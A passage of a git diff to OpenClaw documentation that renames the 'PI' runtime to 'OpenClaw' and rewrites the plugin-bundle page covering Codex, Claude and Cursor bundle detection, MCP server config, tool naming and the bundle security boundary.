PI semantics: +Follow built-in OpenClaw semantics: - bootstrap failures warn and continue - assemble failures warn and fall back to unassembled pipeline messages/prompt @@ -526,7 +526,7 @@ Add tests under `extensions/codex/src/app-server`: event details change. - `src/agents/harness/selection.test.ts` should not need changes unless config behavior changes; it should remain stable. -- PI context-engine tests should continue to pass unchanged. +- Built-in harness context-engine tests should continue to pass unchanged. ### Integration / live tests @@ -534,7 +534,7 @@ Add or extend live Codex harness smoke tests: - configure `plugins.slots.contextEngine` to a test engine - configure `agents.defaults.model` to a `codex/*` model -- configure `agents.defaults.embeddedHarness.runtime = "codex"` +- configure provider/model `agentRuntime.id = "codex"` - assert test engine observed: - bootstrap - assemble @@ -599,9 +599,9 @@ This should be backward-compatible: 3. Should `before_prompt_build` run before or after context-engine assembly? Recommendation: after context-engine projection for Codex, so generic harness - hooks see the actual prompt/developer instructions Codex will receive. If PI - parity requires the opposite, encode the chosen order in tests and document it - here. + hooks see the actual prompt/developer instructions Codex will receive. If + built-in harness parity requires the opposite, encode the chosen order in + tests and document it here. 4. Can Codex app-server accept a future structured context/history override? @@ -619,6 +619,6 @@ This should be backward-compatible: - Failed/aborted/yield-aborted turns do not run turn maintenance. - Context-engine-owned compaction remains primary for OpenClaw/plugin state. - Codex native compaction remains auditable as native Codex behavior. -- Existing PI context-engine behavior is unchanged. +- Existing built-in harness context-engine behavior is unchanged. - Existing Codex harness behavior is unchanged when no non-legacy context engine is selected or when assembly fails. diff --git a/docs/plugins/architecture-internals.md b/docs/plugins/architecture-internals.md index 437ff399c81..b7646470c6b 100644 --- a/docs/plugins/architecture-internals.md +++ b/docs/plugins/architecture-internals.md @@ -263,24 +263,23 @@ listed here. | 4 | `normalizeTransport` | Normalize provider-family `api` / `baseUrl` before generic model assembly | Provider owns transport cleanup for custom provider ids in the same transport family | | 5 | `normalizeConfig` | Normalize `models.providers.` before runtime/provider resolution | Provider needs config cleanup that should live with the plugin; bundled Google-family helpers also backstop supported Google config entries | | 6 | `applyNativeStreamingUsageCompat` | Apply native streaming-usage compat rewrites to config providers | Provider needs endpoint-driven native streaming usage metadata fixes | -| 7 | `resolveConfigApiKey` | Resolve env-marker auth for config providers before runtime auth loading | Provider has provider-owned env-marker API-key resolution; `amazon-bedrock` also has a built-in AWS env-marker resolver here | +| 7 | `resolveConfigApiKey` | Resolve env-marker auth for config providers before runtime auth loading | Providers expose their own env-marker API-key resolution hooks | | 8 | `resolveSyntheticAuth` | Surface local/self-hosted or config-backed auth without persisting plaintext | Provider can operate with a synthetic/local credential marker | | 9 | `resolveExternalAuthProfiles` | Overlay provider-owned external auth profiles; default `persistence` is `runtime-only` for CLI/app-owned creds | Provider reuses external auth credentials without persisting copied refresh tokens; declare `contracts.externalAuthProviders` in the manifest | | 10 | `shouldDeferSyntheticProfileAuth` | Lower stored synthetic profile placeholders behind env/config-backed auth | Provider stores synthetic placeholder profiles that should not win precedence | | 11 | `resolveDynamicModel` | Sync fallback for provider-owned model ids not in the local registry yet | Provider accepts arbitrary upstream model ids | | 12 | `prepareDynamicModel` | Async warm-up, then `resolveDynamicModel` runs again | Provider needs network metadata before resolving unknown ids | | 13 | `normalizeResolvedModel` | Final rewrite before the embedded runner uses the resolved model | Provider needs transport rewrites but still uses a core transport | -| 14 | `contributeResolvedModelCompat` | Contribute compat flags for vendor models behind another compatible transport | Provider recognizes its own models on proxy transports without taking over the provider | -| 15 | `normalizeToolSchemas` | Normalize tool schemas before the embedded runner sees them | Provider needs transport-family schema cleanup | -| 16 | `inspectToolSchemas` | Surface provider-owned schema diagnostics after normalization | Provider wants keyword warnings without teaching core provider-specific rules | -| 17 | `resolveReasoningOutputMode` | Select native vs tagged reasoning-output contract | Provider needs tagged reasoning/final output instead of native fields | -| 18 | `prepareExtraParams` | Request-param normalization before generic stream option wrappers | Provider needs default request params or per-provider param cleanup | -| 19 | `createStreamFn` | Fully replace the normal stream path with a custom transport | Provider needs a custom wire protocol, not just a wrapper | +| 14 | `normalizeToolSchemas` | Normalize tool schemas before the embedded runner sees them | Provider needs transport-family schema cleanup | +| 15 | `inspectToolSchemas` | Surface provider-owned schema diagnostics after normalization | Provider wants keyword warnings without teaching core provider-specific rules | +| 16 | `resolveReasoningOutputMode` | Select native vs tagged reasoning-output contract | Provider needs tagged reasoning/final output instead of native fields | +| 17 | `prepareExtraParams` | Request-param normalization before generic stream option wrappers | Provider needs default request params or per-provider param cleanup | +| 18 | `createStreamFn` | Fully replace the normal stream path with a custom transport | Provider needs a custom wire protocol, not just a wrapper | | 20 | `wrapStreamFn` | Stream wrapper after generic wrappers are applied | Provider needs request headers/body/model compat wrappers without a custom transport | | 21 | `resolveTransportTurnState` | Attach native per-turn transport headers or metadata | Provider wants generic transports to send provider-native turn identity | | 22 | `resolveWebSocketSessionPolicy` | Attach native WebSocket headers or session cool-down policy | Provider wants generic WS transports to tune session headers or fallback policy | | 23 | `formatApiKey` | Auth-profile formatter: stored profile becomes the runtime `apiKey` string | Provider stores extra auth metadata and needs a custom runtime token shape | -| 24 | `refreshOAuth` | OAuth refresh override for custom refresh endpoints or refresh-failure policy | Provider does not fit the shared `pi-ai` refreshers | +| 24 | `refreshOAuth` | OAuth refresh override for custom refresh endpoints or refresh-failure policy | Provider does not fit the shared OpenClaw refreshers | | 25 | `buildAuthDoctorHint` | Repair hint appended when OAuth refresh fails | Provider needs provider-owned auth repair guidance after refresh failure | | 26 | `matchesContextOverflowError` | Provider-owned context-window overflow matcher | Provider has raw overflow errors generic heuristics would miss | | 27 | `classifyFailoverReason` | Provider-owned failover reason classification | Provider can map raw API/transport errors to rate-limit/overload/etc | diff --git a/docs/plugins/bundles.md b/docs/plugins/bundles.md index 04142733e3b..575dfe05247 100644 --- a/docs/plugins/bundles.md +++ b/docs/plugins/bundles.md @@ -1,50 +1,34 @@ --- -summary: "Install Codex, Claude, and Cursor-compatible bundles as OpenClaw plugins" +summary: "Install and use Codex, Claude, and Cursor bundles as OpenClaw plugins" read_when: - You want to install a Codex, Claude, or Cursor-compatible bundle - - You need to know which bundle features OpenClaw executes - - You are debugging bundle detection, MCP tools, LSP defaults, or missing capabilities + - You need to understand how OpenClaw maps bundle content into native features + - You are debugging bundle detection or missing capabilities title: "Plugin bundles" -doc-schema-version: 1 --- -Plugin bundles let OpenClaw reuse compatible Codex, Claude, and Cursor plugin -layouts without loading them as native OpenClaw runtime modules. Use this page -when you have an existing bundle and need to install it, verify how OpenClaw -classified it, and understand which parts become OpenClaw skills, hooks, MCP -tools, settings, or diagnostics. +OpenClaw can install plugins from three external ecosystems: **Codex**, **Claude**, +and **Cursor**. These are called **bundles** — content and metadata packs that +OpenClaw maps into native features like skills, hooks, and MCP tools. - Bundles are not native OpenClaw plugins. Native plugins run in process and can - register OpenClaw capabilities directly. Bundles are content and metadata - packs that OpenClaw maps selectively into supported surfaces. + Bundles are **not** the same as native OpenClaw plugins. Native plugins run + in-process and can register any capability. Bundles are content packs with + selective feature mapping and a narrower trust boundary. -## Choose the right plugin format +## Why bundles exist -Use a bundle when you already have a Codex, Claude, or Cursor-compatible -package and want OpenClaw to map its supported content into skills, hook packs, -MCP tools, settings, or LSP defaults without rewriting it as a native plugin. -Build a native OpenClaw plugin when the integration must register a channel, -provider, service, HTTP route, Gateway method, plugin-owned CLI command, or -another runtime capability. +Many useful plugins are published in Codex, Claude, or Cursor format. Instead +of requiring authors to rewrite them as native OpenClaw plugins, OpenClaw +detects these formats and maps their supported content into the native feature +set. This means you can install a Claude command pack or a Codex skill bundle +and use it immediately. -| Need | Use | -| --------------------------------------------------------------------------------------- | ------------- | -| Reuse skills, command markdown, MCP config, or LSP defaults from a compatible ecosystem | Bundle | -| Execute arbitrary plugin runtime code in OpenClaw | Native plugin | -| Publish a full OpenClaw capability | Native plugin | -| Port an existing Claude or Cursor command pack | Bundle | - -See [Building plugins](/plugins/building-plugins) for native plugin authoring -and [Plugins](/tools/plugin) for the main install workflow. - -## Install and verify a bundle +## Install a bundle - - Install from a local directory, archive, or supported marketplace source: - + ```bash # Local directory openclaw plugins install ./my-bundle @@ -59,281 +43,268 @@ and [Plugins](/tools/plugin) for the main install workflow. - + ```bash openclaw plugins list openclaw plugins inspect ``` - A compatible bundle appears with `Format: bundle` and a `codex`, `claude`, - or `cursor` subtype. + Bundles show as `Format: bundle` with a subtype of `codex`, `claude`, or `cursor`. - + ```bash openclaw gateway restart ``` - Installing or updating plugin code requires restarting the Gateway. + Mapped features (skills, hooks, MCP tools, LSP defaults) are available in the next session. ## What OpenClaw maps from bundles -Not every bundle feature runs in OpenClaw today. OpenClaw maps supported content -into native surfaces and reports detect-only content in plugin diagnostics. +Not every bundle feature runs in OpenClaw today. Here is what works and what +is detected but not yet wired. ### Supported now -| Feature | How it maps | Applies to | -| ------------- | -------------------------------------------------------------------------------------------- | --------------- | -| Skill content | Bundle skill roots load as normal OpenClaw skills | All formats | -| Commands | `commands/` and `.cursor/commands/` are treated as skill roots | Claude, Cursor | -| Hook packs | OpenClaw-style `HOOK.md` and `handler.ts` or `handler.js` layouts | Primarily Codex | -| MCP tools | Bundle MCP config merges into embedded Pi settings; supported stdio and HTTP servers load | All formats | -| LSP servers | Claude `.lsp.json` and manifest-declared `lspServers` merge into embedded Pi LSP defaults | Claude | -| Settings | Claude `settings.json` imports as embedded Pi defaults after shell override keys are removed | Claude | +| Feature | How it maps | Applies to | +| ------------- | ------------------------------------------------------------------------------------------------- | -------------- | +| Skill content | Bundle skill roots load as normal OpenClaw skills | All formats | +| Commands | `commands/` and `.cursor/commands/` treated as skill roots | Claude, Cursor | +| Hook packs | OpenClaw-style `HOOK.md` + `handler.ts` layouts | Codex | +| MCP tools | Bundle MCP config merged into embedded OpenClaw settings; supported stdio and HTTP servers loaded | All formats | +| LSP servers | Claude `.lsp.json` and manifest-declared `lspServers` merged into embedded OpenClaw LSP defaults | Claude | +| Settings | Claude `settings.json` imported as embedded OpenClaw defaults | Claude | -### Skill content +#### Skill content -Bundle skill roots load as normal OpenClaw skill roots. Claude `commands/` and -Cursor `.cursor/commands/` load through the same path. +- bundle skill roots load as normal OpenClaw skill roots +- Claude `commands` roots are treated as additional skill roots +- Cursor `.cursor/commands` roots are treated as additional skill roots -### Hook packs +This means Claude markdown command files work through the normal OpenClaw skill +loader. Cursor command markdown works through the same path. -Bundle hook roots run **only** when they use the normal OpenClaw hook-pack layout: -`HOOK.md` with `handler.ts` or `handler.js`. Today this is primarily the -Codex-compatible case. +#### Hook packs -### MCP tools +- bundle hook roots work **only** when they use the normal OpenClaw hook-pack + layout. Today this is primarily the Codex-compatible case: + - `HOOK.md` + - `handler.ts` or `handler.js` -Enabled bundles can contribute MCP server config to embedded Pi as `mcpServers`. -Supported stdio and HTTP servers can expose tools during embedded Pi turns. The -`coding` and `messaging` tool profiles include bundle MCP tools by default; use -`tools.deny: ["bundle-mcp"]` to opt out for an agent or Gateway. +#### MCP for embedded OpenClaw -### Embedded Pi settings +- enabled bundles can contribute MCP server config +- OpenClaw merges bundle MCP config into the effective embedded OpenClaw settings as + `mcpServers` +- OpenClaw exposes supported bundle MCP tools during embedded OpenClaw agent turns by + launching stdio servers or connecting to HTTP servers +- the `coding` and `messaging` tool profiles include bundle MCP tools by + default; use `tools.deny: ["bundle-mcp"]` to opt out for an agent or gateway +- project-local embedded agent settings still apply after bundle defaults, so workspace + settings can override bundle MCP entries when needed +- bundle MCP tool catalogs are sorted deterministically before registration, so + upstream `listTools()` order changes do not thrash prompt-cache tool blocks -Claude `settings.json` imports as default embedded Pi settings when the bundle is -enabled. OpenClaw removes shell override keys before applying them. +##### Transports -### Embedded Pi LSP +MCP servers can use stdio or HTTP transport: -Claude `.lsp.json` and manifest-declared `lspServers` merge into embedded Pi LSP -defaults. Supported stdio-backed LSP servers can run. - -### Detected but not executed - -OpenClaw reports these in diagnostics but does not run them: - -- Claude `agents`, `hooks/hooks.json`, `outputStyles` -- Cursor `.cursor/agents`, `.cursor/hooks.json`, `.cursor/rules` -- Codex app or inline metadata - -## Bundle formats and detection - -OpenClaw checks native plugin markers before bundle markers. A directory with -`openclaw.plugin.json` or a valid `package.json` `openclaw.extensions` entry is -treated as a native plugin, even if it also contains bundle files. This prevents -dual-format packages from being partially loaded through the bundle path. - -After native detection, OpenClaw recognizes these bundle layouts: - - - - Marker: `.codex-plugin/plugin.json` - - Supported mapped content: `skills/`, `hooks/`, `.mcp.json`, and `.app.json` - capability reporting. - - Codex bundles fit OpenClaw best when they use skill roots and OpenClaw-style - hook-pack directories. - - - - - Detection modes: - - - **Manifest-based:** `.claude-plugin/plugin.json` - - **Manifestless:** default Claude layout with `skills/`, `commands/`, - `agents/`, `hooks/hooks.json`, `.mcp.json`, `.lsp.json`, or - `settings.json` - - Supported mapped content: `skills/`, `commands/`, `settings.json`, - `.mcp.json`, `.lsp.json`, manifest-declared `mcpServers`, and - manifest-declared `lspServers`. - - Detect-only content: `agents`, `hooks/hooks.json`, and `outputStyles`. - - - - - Marker: `.cursor-plugin/plugin.json` - - Supported mapped content: `skills/`, `.cursor/commands/`, and `.mcp.json`. - - Detect-only content: `.cursor/agents`, `.cursor/hooks.json`, and - `.cursor/rules`. - - - - -Claude manifest component paths are additive. Declaring custom paths extends -the default paths that exist in the bundle instead of replacing them. - -## MCP config reference - -Bundle MCP tools use the synthetic plugin key `bundle-mcp` for profile filtering. -To opt out for an agent or Gateway, deny that key: - -```json5 -{ - tools: { - deny: ["bundle-mcp"], - }, -} -``` - -Project-local embedded Pi settings still apply after bundle defaults, so -workspace settings can override bundle MCP entries when needed. - -### MCP config shape - -Bundle MCP files can use either `mcpServers`, `servers`, or a top-level server -map. Stdio servers launch a child process: +**Stdio** launches a child process: ```json { - "mcpServers": { - "my-server": { - "command": "node", - "args": ["server.js"], - "env": { "PORT": "3000" } + "mcp": { + "servers": { + "my-server": { + "command": "node", + "args": ["server.js"], + "env": { "PORT": "3000" } + } } } } ``` -HTTP servers connect over `sse` by default, or `streamable-http` when requested: +**HTTP** connects to a running MCP server over `sse` by default, or `streamable-http` when requested: ```json { - "mcpServers": { - "my-server": { - "url": "http://localhost:3100/mcp", - "transport": "streamable-http", - "headers": { - "Authorization": "Bearer local-dev-token" - }, - "connectionTimeoutMs": 30000 + "mcp": { + "servers": { + "my-server": { + "url": "http://localhost:3100/mcp", + "transport": "streamable-http", + "headers": { + "Authorization": "Bearer ${MY_SECRET_TOKEN}" + }, + "connectionTimeoutMs": 30000 + } } } } ``` -Rules: - -- `transport` may be `"sse"` or `"streamable-http"`. When omitted, OpenClaw - uses `sse`. -- `type: "http"` is a CLI-native downstream alias. Prefer - `transport: "streamable-http"` in bundle config; `openclaw mcp set` and - `openclaw doctor --fix` normalize the alias. -- Only `http:` and `https:` URLs are supported. -- `headers` must be a JSON object with string-compatible values. -- A server entry with `command` is treated as stdio. A server entry with `url` - and no command is treated as HTTP. -- URL credentials, including userinfo and query params, are redacted from tool - descriptions and logs. +- `transport` may be set to `"streamable-http"` or `"sse"`; when omitted, OpenClaw uses `sse` +- `type: "http"` is a CLI-native downstream shape; use `transport: "streamable-http"` in OpenClaw config. `openclaw mcp set` and `openclaw doctor --fix` normalize the common alias. +- only `http:` and `https:` URL schemes are allowed +- `headers` values support `${ENV_VAR}` interpolation +- a server entry with both `command` and `url` is rejected +- URL credentials (userinfo and query params) are redacted from tool + descriptions and logs - `connectionTimeoutMs` overrides the default 30-second connection timeout for - stdio and HTTP transports. + both stdio and HTTP transports -For stdio startup safety, unsupported environment-variable entries are ignored -with diagnostics instead of being passed through blindly. +##### Tool naming -### MCP paths and tool names +OpenClaw registers bundle MCP tools with provider-safe names in the form +`serverName__toolName`. For example, a server keyed `"vigil-harbor"` exposing a +`memory_search` tool registers as `vigil-harbor__memory_search`. -File-backed MCP config is resolved relative to the bundle file that declared -it. Explicit relative `command`, `args`, `cwd`, and `workingDirectory` values -are expanded against that file's directory. Claude bundle config can also use -`${CLAUDE_PLUGIN_ROOT}` to refer to the bundle root. +- characters outside `A-Za-z0-9_-` are replaced with `-` +- fragments that would start with a non-letter get a letter prefix, so numeric + server keys such as `12306` become provider-safe tool prefixes +- server prefixes are capped at 30 characters +- full tool names are capped at 64 characters +- empty server names fall back to `mcp` +- colliding sanitized names are disambiguated with numeric suffixes +- final exposed tool order is deterministic by safe name to keep repeated embedded-agent + turns cache-stable +- profile filtering treats all tools from one bundle MCP server as plugin-owned + by `bundle-mcp`, so profile allowlists and deny lists can include either + individual exposed tool names or the `bundle-mcp` plugin key -OpenClaw registers bundle MCP tools with provider-safe names: +#### Embedded OpenClaw settings -```text -serverName__toolName -``` - -Naming rules: - -- Characters outside `A-Za-z0-9_-` become `-`. -- Server prefixes must start with a letter; numeric server keys get an `mcp-` - prefix. -- Empty server names fall back to `mcp`. -- Server prefixes are capped at 30 characters. -- Full tool names are capped at 64 characters. -- Colliding sanitized names get numeric suffixes. -- Exposed tools are sorted deterministically by safe name so repeated Pi turns - keep stable tool blocks. -- Profile allowlists and denylists can name either individual exposed tools or - the `bundle-mcp` plugin key. - -## Embedded Pi settings and LSP defaults - -Enabled Claude bundles can contribute `settings.json` defaults to the embedded -Pi runtime. OpenClaw applies those settings before project-local settings, then -sanitizes shell override keys so bundle or workspace settings cannot change -shell execution behavior. +- Claude `settings.json` is imported as default embedded OpenClaw settings when the + bundle is enabled +- OpenClaw sanitizes shell override keys before applying them Sanitized keys: - `shellPath` - `shellCommandPrefix` -Enabled Claude bundles can also contribute LSP server config through `.lsp.json` -or manifest-declared `lspServers`. OpenClaw merges those entries into embedded -Pi LSP defaults. Supported stdio-backed LSP servers can run; unsupported server -entries still appear in `openclaw plugins inspect ` diagnostics. +#### Embedded OpenClaw LSP + +- enabled Claude bundles can contribute LSP server config +- OpenClaw loads `.lsp.json` plus any manifest-declared `lspServers` paths +- bundle LSP config is merged into the effective embedded OpenClaw LSP defaults +- only supported stdio-backed LSP servers are runnable today; unsupported + transports still show up in `openclaw plugins inspect ` + +### Detected but not executed + +These are recognized and shown in diagnostics, but OpenClaw does not run them: + +- Claude `agents`, `hooks.json` automation, `outputStyles` +- Cursor `.cursor/agents`, `.cursor/hooks.json`, `.cursor/rules` +- Codex inline/app metadata beyond capability reporting + +## Bundle formats + + + + Markers: `.codex-plugin/plugin.json` + + Optional content: `skills/`, `hooks/`, `.mcp.json`, `.app.json` + + Codex bundles fit OpenClaw best when they use skill roots and OpenClaw-style + hook-pack directories (`HOOK.md` + `handler.ts`). + + + + + Two detection modes: + + - **Manifest-based:** `.claude-plugin/plugin.json` + - **Manifestless:** default Claude layout (`skills/`, `commands/`, `agents/`, `hooks/`, `.mcp.json`, `.lsp.json`, `settings.json`) + + Claude-specific behavior: + + - `commands/` is treated as skill content + - `settings.json` is imported into embedded OpenClaw settings (shell override keys are sanitized) + - `.mcp.json` exposes supported stdio tools to embedded OpenClaw + - `.lsp.json` plus manifest-declared `lspServers` paths load into embedded OpenClaw LSP defaults + - `hooks/hooks.json` is detected but not executed + - Custom component paths in the manifest are additive (they extend defaults, not replace them) + + + + + Markers: `.cursor-plugin/plugin.json` + + Optional content: `skills/`, `.cursor/commands/`, `.cursor/agents/`, `.cursor/rules/`, `.cursor/hooks.json`, `.mcp.json` + + - `.cursor/commands/` is treated as skill content + - `.cursor/rules/`, `.cursor/agents/`, and `.cursor/hooks.json` are detect-only + + + + +## Detection precedence + +OpenClaw checks for native plugin format first: + +1. `openclaw.plugin.json` or valid `package.json` with `openclaw.extensions` — treated as **native plugin** +2. Bundle markers (`.codex-plugin/`, `.claude-plugin/`, or default Claude/Cursor layout) — treated as **bundle** + +If a directory contains both, OpenClaw uses the native path. This prevents +dual-format packages from being partially installed as bundles. ## Runtime dependencies and cleanup -Third-party compatible bundles do not get startup `npm install` repair. Install -them with `openclaw plugins install`, and ship every runtime file they need -inside the installed plugin directory. +- Third-party compatible bundles do not get startup `npm install` repair. They + should be installed through `openclaw plugins install` and ship everything + they need in the installed plugin directory. +- OpenClaw-owned bundled plugins are either shipped lightweight in core or + downloadable through the plugin installer. Gateway startup never runs a + package manager for them. +- `openclaw doctor --fix` removes legacy staged dependency directories and can + recover downloadable plugins that are missing from the local plugin index when + config references them. -OpenClaw-owned bundled plugins are either shipped lightweight in core or -downloadable through the plugin installer. Gateway startup does not run a -package manager for them. `openclaw doctor --fix` can remove legacy staged -dependency directories and recover downloadable plugins that config references -but the local plugin index is missing. +## Security -## Security boundary +Bundles have a narrower trust boundary than native plugins: -Bundles have a narrower runtime boundary than native plugins: +- OpenClaw does **not** load arbitrary bundle runtime modules in-process +- Skills and hook-pack paths must stay inside the plugin root (boundary-checked) +- Settings files are read with the same boundary checks +- Supported stdio MCP servers may be launched as subprocesses -- OpenClaw does not load arbitrary bundle runtime modules in process. -- Skill roots, hook-pack paths, settings files, MCP files, and LSP files are - read with plugin-root boundary checks. -- OpenClaw-style hook packs must stay inside the plugin root. -- Supported stdio MCP servers can still launch subprocesses. - -Treat third-party bundles as trusted content for the mapped features they -expose, especially MCP servers and hook packs. +This makes bundles safer by default, but you should still treat third-party +bundles as trusted content for the features they do expose. ## Troubleshooting -| Symptom | Check | Fix | -| -------------------------------------------- | ------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -| Capability is listed but does not run | Run `openclaw plugins inspect ` and check whether it is marked as not wired | This is a current product limit, not a broken install | -| Claude command files do not appear as skills | Check that markdown files are inside `commands/` or a declared command path | Move the files under a detected `commands/` or `skills/` root, enable the bundle, and restart | -| Claude `settings.json` does not apply | Check that the bundle is enabled and inspect diagnostics | Only embedded Pi settings are imported; shell override keys are removed | -| Claude hooks do not execute | Check whether the bundle only has `hooks/hooks.json` | Use an OpenClaw hook-pack layout or ship a native plugin | + + + Run `openclaw plugins inspect `. If a capability is listed but marked as + not wired, that is a product limit — not a broken install. + + + + Make sure the bundle is enabled and the markdown files are inside a detected + `commands/` or `skills/` root. + + + + Only embedded OpenClaw settings from `settings.json` are supported. OpenClaw does + not treat bundle settings as raw config patches. + + + + `hooks/hooks.json` is detect-only. If you need runnable hooks, use the + OpenClaw hook-pack layout or ship a native plugin. + + ## Related -- [Plugins](/tools/plugin) - install, configure, and troubleshoot plugins -- [Manage plugins](/plugins/manage-plugins) - common plugin CLI examples -- [Plugin inventory](/plugins/plugin-inventory) - generated bundled and external plugin list -- [Plugin manifest](/plugins/manifest) - native plugin manifest schema -- [Building plugins](/plugins/building-plugins) - create a native plugin +- [Install and Configure Plugins](/tools/plugin) +- [Building Plugins](/plugins/building-plugins) — create a native plugin +- [Plugin Manifest](/plugins/manifest) — native manifest schema diff --git a/docs/plugins/codex-harness-runtime.md b/docs/plugins/codex-harness-runtime.md index 54e6ff340f1..13d4adc5b6e 100644 --- a/docs/plugins/codex-harness-runtime.md +++ b/docs/plugins/codex-harness-runtime.md @@ -4,7 +4,7 @@ title: "Codex harness runtime" read_when: - You need the Codex harness runtime support contract - You are debugging native Codex tools, hooks, compaction, or feedback upload - - You are changing plugin behavior across PI and Codex harness turns + - You are changing plugin behavior across OpenClaw and Codex harness turns --- This page documents the runtime contract for Codex harness turns. For setup and @@ -13,7 +13,7 @@ see [Codex harness reference](/plugins/codex-harness-reference). ## Overview -Codex mode is not PI with a different model call underneath. Codex owns more of +Codex mode is not OpenClaw with a different model call underneath. Codex owns more of the native model loop, and OpenClaw adapts its plugin, tool, session, and diagnostic surfaces around that boundary. @@ -24,7 +24,7 @@ continuation, and native compaction. Prompt routing follows the selected runtime, not just the provider string. A native Codex turn receives Codex app-server developer instructions, while an -explicit PI compatibility route keeps the normal OpenClaw/PI system prompt even +explicit OpenClaw compatibility route keeps the normal OpenClaw system prompt even when it uses Codex-flavored OpenAI auth or transport. Native Codex keeps Codex-owned base/model instructions and project-doc behavior @@ -73,7 +73,7 @@ The Codex harness has three hook layers: | Layer | Owner | Purpose | | ------------------------------------- | ------------------------ | ------------------------------------------------------------------- | -| OpenClaw plugin hooks | OpenClaw | Product/plugin compatibility across PI and Codex harnesses. | +| OpenClaw plugin hooks | OpenClaw | Product/plugin compatibility across OpenClaw and Codex harnesses. | | Codex app-server extension middleware | OpenClaw bundled plugins | Per-turn adapter behavior around OpenClaw dynamic tools. | | Codex native hooks | Codex | Low-level Codex lifecycle and native tool policy from Codex config. | @@ -241,7 +241,7 @@ settings such as `agents.defaults.imageGenerationModel`, `videoGenerationModel`, `pdfModel`, and `messages.tts`. Text, images, video, music, TTS, approvals, and messaging-tool output continue -through the normal OpenClaw delivery path. Media generation does not require PI. +through the normal OpenClaw delivery path. Media generation does not require the legacy runtime. When Codex emits a native image-generation item with a `savedPath`, OpenClaw forwards that exact file through the normal reply-media path even if the Codex turn has no assistant text. diff --git a/docs/plugins/codex-harness.md b/docs/plugins/codex-harness.md index 68c4df349cc..f46130e7e33 100644 --- a/docs/plugins/codex-harness.md +++ b/docs/plugins/codex-harness.md @@ -4,11 +4,11 @@ title: "Codex harness" read_when: - You want to use the bundled Codex app-server harness - You need Codex harness config examples - - You want Codex-only deployments to fail instead of falling back to PI + - You want Codex-only deployments to fail instead of falling back to OpenClaw --- The bundled `codex` plugin lets OpenClaw run embedded OpenAI agent turns -through Codex app-server instead of the built-in PI harness. +through Codex app-server instead of the built-in OpenClaw harness. Use the Codex harness when you want Codex to own the low-level agent session: native thread resume, native tool continuation, native compaction, and @@ -115,7 +115,7 @@ harness options in OpenClaw config, and use the CLI only for Codex auth: | Sign in with Codex OAuth | `openclaw models auth login --provider openai-codex` | CLI auth profile | | Add API-key backup for Codex runs | `openai:*` API-key profile listed after subscription auth in `auth.order.openai` | CLI auth profile + OpenClaw config | | Fail closed when Codex is unavailable | Provider or model `agentRuntime.id: "codex"` | OpenClaw model/provider config | -| Use direct OpenAI API traffic | Provider or model `agentRuntime.id: "pi"` with normal OpenAI auth | OpenClaw model/provider config | +| Use direct OpenAI API traffic | Provider or model `agentRuntime.id: "openclaw"` with normal OpenAI auth | OpenClaw model/provider config | | Tune app-server behavior | `plugins.entries.codex.config.appServer.*` | Codex plugin config | | Enable native Codex plugin apps | `plugins.entries.codex.config.codexPlugins.*` | Codex plugin config | | Enable Codex Computer Use | `plugins.entries.codex.config.computerUse.*` | Codex plugin config | @@ -160,7 +160,7 @@ instead of silently switching compaction backends. ``` In that shape, both profiles still run through Codex for `openai/gpt-*` agent -turns. The API key is only an auth fallback, not a request to switch to PI or +turns. The API key is only an auth fallback, not a request to switch to OpenClaw or plain OpenAI Responses. The rest of this page covers common variants users must choose between: @@ -199,8 +199,8 @@ Keep provider refs and runtime policy separate: repair legacy refs and stale session route pins. - `agentRuntime.id: "codex"` is optional for normal OpenAI auto mode, but useful when a deployment should fail closed if Codex is unavailable. -- `agentRuntime.id: "pi"` opts a provider or model into direct PI behavior when - that is intentional. +- `agentRuntime.id: "openclaw"` opts a provider or model into the OpenClaw + embedded runtime when that is intentional. - `/codex ...` controls native Codex app-server conversations from chat. - ACP/acpx is a separate external harness path. Use it only when the user asks for ACP/acpx or an external harness adapter. @@ -218,13 +218,13 @@ Common command routing: | Send Codex feedback only | `/codex diagnostics [note]` | | Start an ACP/acpx task | ACP/acpx session commands, not `/codex` | -| Use case | Configure | Verify | Notes | -| ---------------------------------------------------- | ---------------------------------------------------------------- | --------------------------------------- | ---------------------------------- | -| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` plus enabled `codex` plugin | `/status` shows `Runtime: OpenAI Codex` | Recommended path | -| Fail closed if Codex is unavailable | Provider or model `agentRuntime.id: "codex"` | Turn fails instead of PI fallback | Use for Codex-only deployments | -| Direct OpenAI API-key traffic through PI | Provider or model `agentRuntime.id: "pi"` and normal OpenAI auth | `/status` shows PI runtime | Use only when PI is intentional | -| Legacy config | `openai-codex/gpt-*` | `openclaw doctor --fix` rewrites it | Do not write new config this way | -| ACP/acpx Codex adapter | ACP `sessions_spawn({ runtime: "acp" })` | ACP task/session status | Separate from native Codex harness | +| Use case | Configure | Verify | Notes | +| ---------------------------------------------------- | ---------------------------------------------------------------------- | --------------------------------------- | ------------------------------------- | +| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` plus enabled `codex` plugin | `/status` shows `Runtime: OpenAI Codex` | Recommended path | +| Fail closed if Codex is unavailable | Provider or model `agentRuntime.id: "codex"` | Turn fails instead of embedded fallback | Use for Codex-only deployments | +| Direct OpenAI API-key traffic through OpenClaw | Provider or model `agentRuntime.id: "openclaw"` and normal OpenAI auth | `/status` shows OpenClaw runtime | Use only when OpenClaw is intentional | +| Legacy config | `openai-codex/gpt-*` | `openclaw doctor --fix` rewrites it | Do not write new config this way | +| ACP/acpx Codex adapter | ACP `sessions_spawn({ runtime: "acp" })` | ACP task/session status | Separate from native Codex harness | `agents.defaults.imageModel` follows the same prefix split. Use `openai/gpt-*` for the normal OpenAI route and `codex/gpt-*` only when image understanding @@ -599,7 +599,7 @@ does not translate Codex plugins into synthetic `codex_plugin_*` OpenClaw dynamic tools. `codexPlugins` affects only sessions that select the native Codex harness. It -has no effect on PI runs, normal OpenAI provider runs, ACP conversation +has no effect on built-in harness runs, normal OpenAI provider runs, ACP conversation bindings, or other harnesses. Minimal migrated config: @@ -677,11 +677,11 @@ new configs. Select an `openai/gpt-*` model, enable `plugins.entries.codex.enabled`, and check whether `plugins.allow` excludes `codex`. -**OpenClaw uses PI instead of Codex:** make sure the model ref is +**OpenClaw uses the built-in harness instead of Codex:** make sure the model ref is `openai/gpt-*` on the official OpenAI provider and that the Codex plugin is installed and enabled. If you need strict proof while testing, set provider or model `agentRuntime.id: "codex"`. A forced Codex runtime fails instead of -falling back to PI. +falling back to OpenClaw. **OpenAI Codex runtime falls back to the API-key path:** collect a redacted gateway excerpt that shows the model, runtime, selected provider, and failure. @@ -689,7 +689,7 